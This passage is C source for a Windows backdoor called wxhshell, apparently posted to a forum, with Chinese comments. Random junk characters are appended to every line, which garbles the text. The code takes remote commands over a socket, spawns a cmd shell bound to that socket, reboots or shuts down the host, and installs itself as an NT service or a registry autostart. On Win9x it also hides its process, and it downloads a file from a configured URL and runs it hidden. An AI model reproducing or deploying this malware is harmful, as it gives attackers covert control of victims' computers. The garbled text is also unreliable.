:wlX`YW+e  
    switch(cmd[0]) { *RM?SE6;  
  ZHA6BVVT  
  // 帮助 .QwwGm  
  case '?': { g~zz[F 8U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y,I?3 p|S  
    break; {Pi+VuLE  
  } }B-@lbK6)  
  // 安装 &c;@u?:@S  
  case 'i': { 3$c Im+  
    if(Install()) CYIp 3D'k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uU_0t;oR3  
    else l| / tKW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \W"N{N  
    break; qs$%/  
    } Gp}:U>V)  
  // 卸载 #;4afj:2g  
  case 'r': { Z0fl]3p  
    if(Uninstall()) )(&Z&2~A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gY)NPi}!`  
    else f>g< :.k*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f-Yp`lnn.d  
    break; Oy U[(  
    } BU\P5uB!V  
  // 显示 wxhshell 所在路径 %by8i1HR  
  case 'p': { kpxWi=y  
    char svExeFile[MAX_PATH]; *k&yD3br-V  
    strcpy(svExeFile,"\n\r"); {Q/XV=  
      strcat(svExeFile,ExeFile); ?kOtK  
        send(wsh,svExeFile,strlen(svExeFile),0); #bFJ6;g=V  
    break; I/whpOg  
    } yJ(BPSt  
  // 重启 43i@5F]  
  case 'b': { g>])O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vl91I+Ev  
    if(Boot(REBOOT)) iy{n"#uX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xwSi}.  
    else { + -[M 7J  
    closesocket(wsh); w!~%v #  
    ExitThread(0); | rY.IbL  
    } RR*eq.;  
    break; sbWen?  
    } BvXA9YQ3  
  // 关机 D1Yc_  
  case 'd': { C26vH#C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NGA8JV/U  
    if(Boot(SHUTDOWN)) O26'|w@$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_8bX}_n  
    else { u`%Kh_  
    closesocket(wsh); (A\X+S(  
    ExitThread(0); 2WKYf0t  
    } 0+a-l[!p  
    break; ;<aT| 4  
    } Zd2B4~V  
  // 获取shell Mqy5>f)  
  case 's': { OxGS{zs  
    CmdShell(wsh); <=]wh|D  
    closesocket(wsh); f-w-K)y$ht  
    ExitThread(0); ;S+UD~i[Bu  
    break; O'<5PwhG  
  } {km~,]N  
  // 退出 ^/K]id7 2  
  case 'x': { p2v+sWO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3^ct;gz  
    CloseIt(wsh); %kod31X3<  
    break; xJ/<G$LNJ0  
    } 5xHP5+&  
  // 离开 WtT* 1Z  
  case 'q': { z>\vYR$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "OIra2O  
    closesocket(wsh); 3ID 1>  
    WSACleanup(); R)p+#F(s  
    exit(1); pzkl;"gK  
    break; >";I3S-t  
        } br@GnjG  
  } ?Ek 3<7d  
  } 3Kv~lo^  
hKZ<PwBi  
  // 提示信息 NJ^H"FLS:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h($XR+!#  
} 2ZZ%BV!s  
  } K?M{=$N  
17-D\ +}  
  return; C-vFl[@a0  
} vG`;2laY  
/7s^OkQ  
// shell模块句柄 *bi!iz5F  
int CmdShell(SOCKET sock) *.4VO+^  
{ &, =Z  
STARTUPINFO si; OGDCC/  
ZeroMemory(&si,sizeof(si)); MF7q*f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Op|="W.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OKXELP  
PROCESS_INFORMATION ProcessInfo; ?9Lp@k~TO  
char cmdline[]="cmd"; 7P& O{tl(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ({"jL*S,q  
  return 0; A/WmVv6  
} \`FpBE_e)  
KdBE[A-1^M  
// 自身启动模式 EWcqMD]4u  
int StartFromService(void) S< TUZ /;  
{ )SX2%&N  
typedef struct @-L4<=$J  
{ 7GY3 _`  
  DWORD ExitStatus; Ne 2tfiI`  
  DWORD PebBaseAddress; *B$$6'hi`  
  DWORD AffinityMask; 91|0{1  
  DWORD BasePriority; OA_WjTwDs  
  ULONG UniqueProcessId; 'Gr}<B$A3  
  ULONG InheritedFromUniqueProcessId; Q+Sx5JUR~  
}   PROCESS_BASIC_INFORMATION; vz\^Aa #fv  
Ng1{ NI+S  
PROCNTQSIP NtQueryInformationProcess;  BZ'63  
6k1;62Ntk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kYwV0xQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a#U2y"  
'@jP$6T&  
  HANDLE             hProcess; &bIE"ZBjt  
  PROCESS_BASIC_INFORMATION pbi; LqDj4[}  
!=-{$& {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fz9 ,p;b  
  if(NULL == hInst ) return 0; vtm?x,h  
q6A"+w,N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :1O49g3R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u3[A~V|0=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )BJ Z{E*  
X:0-FCT;\  
  if (!NtQueryInformationProcess) return 0; +*'^T)sj/  
\& KfIh8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >[$j(k^  
  if(!hProcess) return 0; 1@$n )r`  
AW6"1(D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L}*s_'_e^>  
I(bxCiRV  
  CloseHandle(hProcess); `vMrlKq  
_? aI/D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jDyG~de  
if(hProcess==NULL) return 0; UWf@(8  
NFAjh?#  
HMODULE hMod; $,s"c(pv[,  
char procName[255]; :iKk"r,2P[  
unsigned long cbNeeded; xE0'eC5n^  
l-~ o&n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #9's^}i  
w1N-`S:  
  CloseHandle(hProcess); (8XP7c]5  
x/)o'#d$|l  
if(strstr(procName,"services")) return 1; // 以服务启动 U?WS\Jji3!  
(E*pM$  
  return 0; // 注册表启动 /x2MW5H  
} xDsB%~  
Ig.9:v`  
// 主模块 o 9?#;B$  
int StartWxhshell(LPSTR lpCmdLine) f@)GiLC'"  
{ 3|Vh[iAa\  
  SOCKET wsl; GIs *;ps7w  
BOOL val=TRUE; gO9\pI 2  
  int port=0; K:<0!C!  
  struct sockaddr_in door; :m{;<LRV  
n0T>sE -9  
  if(wscfg.ws_autoins) Install(); D.ajO^[  
?gGmJl  
port=atoi(lpCmdLine); %]KOxaf_z  
>3,t`Z:  
if(port<=0) port=wscfg.ws_port; 9 M<3m  
_d J"2rx  
  WSADATA data;  4u.v7r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;d#`wSF`G  
79Y;Zgv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f,s1k[w/;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }zE Qrfl  
  door.sin_family = AF_INET; IW~q,X+`V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UpoTXA D}k  
  door.sin_port = htons(port); a6/$}lCq  
Ln3<r&&Jz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |B` mWZ'"  
closesocket(wsl); :wR aB7  
return 1; YU (|i}b  
} 2Jl$/W 3  
$={^':Uh  
  if(listen(wsl,2) == INVALID_SOCKET) { *D_pFS^l  
closesocket(wsl); :'+- %xUM  
return 1; BT3X7Cx  
} (G#QRSXc\  
  Wxhshell(wsl); s2N~p^  
  WSACleanup(); t:N3k ;k  
PDQ\ND  
return 0; 9Z_!}eY2mc  
o'hwyXy/S  
} s6F^z\6  
O"c@x:i  
// 以NT服务方式启动 -h|YS/$f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RY\[[eG  
{ d8V)eZYXy~  
DWORD   status = 0; zF-M9f$_PY  
  DWORD   specificError = 0xfffffff; FKVf_Ncf%  
A2xfNY<  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  0+P[0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4!,`|W1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c c^I9g~  
  serviceStatus.dwWin32ExitCode     = 0; U5f<4I  
  serviceStatus.dwServiceSpecificExitCode = 0; :}[RDF?  
  serviceStatus.dwCheckPoint       = 0; \5ZDP3I  
  serviceStatus.dwWaitHint       = 0; HZ8k%X}1  
/^jV-Z`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w<54mGMOLr  
  if (hServiceStatusHandle==0) return; YS|Ve*t(L=  
ta)'z@V@g  
status = GetLastError(); r'/H3  
  if (status!=NO_ERROR) rF>7 >wq  
{ FsXqF&{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /CT g3Q"KQ  
    serviceStatus.dwCheckPoint       = 0; 6t0-u~  
    serviceStatus.dwWaitHint       = 0; ybNy"2Wk  
    serviceStatus.dwWin32ExitCode     = status; /E|Ac&Qk  
    serviceStatus.dwServiceSpecificExitCode = specificError; 12bt\ h9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hZ;[}5T\<S  
    return; B+w< 0No  
  } b+DBz}L4  
)c"m:3D@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _R ] qoUw;  
  serviceStatus.dwCheckPoint       = 0; >qT4'1S*g  
  serviceStatus.dwWaitHint       = 0; /"LcW"2;N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d0"Xlle ld  
} v? VNWK2  
'*XX|\.  
// 处理NT服务事件,比如:启动、停止 ns/L./z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {;0+N -U  
{ hiM nU  
switch(fdwControl) tPb$ua|  
{ B[8`l} t  
case SERVICE_CONTROL_STOP: rcx'`CIJ  
  serviceStatus.dwWin32ExitCode = 0; F\"`^`(O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yo=0Ov  
  serviceStatus.dwCheckPoint   = 0; x+V@f~2F  
  serviceStatus.dwWaitHint     = 0; < `/22S"  
  { 'A}@XGE:p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sph:OX8  
  } sE Rm+x<  
  return; {G^f/%  
case SERVICE_CONTROL_PAUSE: 3 %'Y):  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &|8R4l C|  
  break; )?zlhsu}1;  
case SERVICE_CONTROL_CONTINUE: c|,6(4j>$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rgOc+[X  
  break; [fjP.kw;J  
case SERVICE_CONTROL_INTERROGATE: kbHfdA  
  break; JJ=%\j  
}; 7B"*< %<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WU" Lu  
} ha -KfkPFE  
`ywI+^b  
// 标准应用程序主函数 (TjY1,f!H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s;[OR  
{ ),u)#`.l G  
]@rt/ eX  
// 获取操作系统版本 Qv`Lc]'  
OsIsNt=GetOsVer(); F4|Z:e,Hr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v.~uJ.T  
j$u=7Z&E  
  // 从命令行安装 6bXP{,}Gp  
  if(strpbrk(lpCmdLine,"iI")) Install(); TjswB#  
<8[y2|UBt  
  // 下载执行文件 wP: w8O  
if(wscfg.ws_downexe) { f'>270pH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8M DX()Bm  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~s[St0  
} /l)|B  
 \W',g[Y:  
if(!OsIsNt) { `1T?\  
// 如果时win9x,隐藏进程并且设置为注册表启动 -? |-ux  
HideProc(); ;vDjd2@  
StartWxhshell(lpCmdLine); i4XE26B;e  
} 4EZl (v"f`  
else ^G~C#t^  
  if(StartFromService()) A/%+AH(  
  // 以服务方式启动 VYj*LiR  
  StartServiceCtrlDispatcher(DispatchTable); lNQ8$b  
else oieZopYA  
  // 普通方式启动 # {'1\@q  
  StartWxhshell(lpCmdLine); n=+K$R  
y_F{C 9KE  
return 0; {f9jK@%Gy  
}
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只看该作者 1 发表于: 2006-10-10
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